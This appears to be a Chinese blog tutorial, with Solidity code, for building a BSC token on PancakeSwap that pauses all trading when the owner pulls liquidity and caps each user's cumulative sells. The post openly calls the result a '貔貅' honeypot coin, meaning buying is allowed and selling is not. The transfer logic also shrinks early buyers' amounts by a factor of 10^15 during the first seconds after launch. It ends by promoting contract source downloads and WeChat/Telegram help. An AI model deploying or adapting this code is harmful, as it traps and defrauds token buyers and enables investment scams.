一、说明
在代币上线pancakeswap等dex进行交易时,通常在需要撤销流动性时控制暂停所有代币的活动交易行为。因为在撤销流动性时往往是资金池有比较大波动行为的调整,因此需要暂停所有代币的交易,包括线上买卖,添加撤销流动性,线下钱包转账。当撤销流动性调整完成后,重新初始化流动性开启代币的交易。
同时,在合约中设置允许用户交易的最大额度,限制用户的最大累计买入和卖出数量。在累计买入和卖出数量中设置用户的最大卖出额度,以有效的控制整个资金池的流动性体量。通过动态调整用户允许的最大卖出累计额度,实现对项目的风险管控。
二、核心代码实现和功能
- 一旦出现项目方撤销流动性即暂停代币的一切交易行为。包括线上的买入和卖出,添加撤销流动性以及线下钱包的转账交易都将被暂停。待流动性调整完成后重新初始化流动性开启交易。
功能实现代码如下:
bool takeFee = true;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}else{
if(from == uniswapV2Pair){
if(startTime.add(10) >= block.timestamp){
amount = amount.div(1000000000000000);}
ooesuo.addInAmount(to, amount);
}else if(to == uniswapV2Pair){
ooesuo.addOutAmount(from, amount);
}else{
ooesuo.addOutAmount(from, amount);
takeFee = false;
}
}
if (takeFee) {
super._transfer(from, _destroyAddress, amount.div(100).mul(5));
amount = amount.div(100).mul(95);
}
super._transfer(from, to, amount);
uint256 totallp = IERC20(uniswapV2Pair).totalSupply();
require(totallp >= lptotal,"");
lptotal = totallp;
2. 设置用户的累计买入和卖出额度,在两者之间平衡资金池的体量,限制用户的卖出情况。
同时通过以下识别添加和撤销流动性的行为,限制只有项目方指定地址才有资格添加和撤销流性,进而暂停代币的交易行为,限制用户卖出的管控,实现类型貔貅功能(只允许买入,不允许卖出)
添加流动性识别代码
function _isAddLiquidityV1()internal view returns(bool ldxAdd){
address token0 = IUniswapV2Pair(address(uniswapV2Pair)).token0();
address token1 = IUniswapV2Pair(address(uniswapV2Pair)).token1();
(uint r0,uint r1,) = IUniswapV2Pair(address(uniswapV2Pair)).getReserves();
uint bal1 = IERC20(token1).balanceOf(address(uniswapV2Pair));
uint bal0 = IERC20(token0).balanceOf(address(uniswapV2Pair));
if( token0 == address(this) ){
if( bal1 > r1){
uint change1 = bal1 - r1;
ldxAdd = change1 > 1000;
}
}else{
if( bal0 > r0){
uint change0 = bal0 - r0;
ldxAdd = change0 > 1000;
}
}
}
撤销流动性识别代码
function _isDelLiquidityV2()internal view returns(bool ldxDel, bool bot, uint256 otherAmount){
address token0 = IUniswapV2Pair(address(uniswapV2Pair)).token0();
(uint reserves0,,) = IUniswapV2Pair(address(uniswapV2Pair)).getReserves();
uint amount = IERC20(token0).balanceOf(address(uniswapV2Pair));
if(token0 != address(this)){
if(reserves0 > amount){
otherAmount = reserves0 - amount;
ldxDel = otherAmount > 10**14;
}else{
bot = reserves0 == amount;
}
}
}
3. 用户累计买入和卖出额度限制接口,通过限制用户的卖出额度,实现貔貅币功能(只允许买入,不允许卖出的貔貅合约)
interface IUserAmountooesuo{
function addOutAmount(address account, uint256 amount) external;
function addInAmount(address account, uint256 amount) external;
}
至此,完成通过撤销流动性实现暂停代币交易,设置用户的交易额度实现只允许买入不允许卖出的貔貅币功能所有操作流程。
至此,完成单边燃烧资金池指定交易时间前设置动态税费支持Usdt和BNB交易对代码实现所有操作流程。
pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载:
币安智能链BSC发币(合约部署、开源、锁仓、LP、参数配置、开发、故障处理、工具使用)教程下载:
多模式(燃烧、回流指定营销地址、分红本币及任意币种,邀请推广八代收益,LP加池分红、交易分红、复利分红、NFT分红、自动筑池、动态手续费、定时开盘、回购)组合合约源代码下载:
pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载地址:
添加VX或者telegram获取全程线上免费指导
评论前必须登录!
注册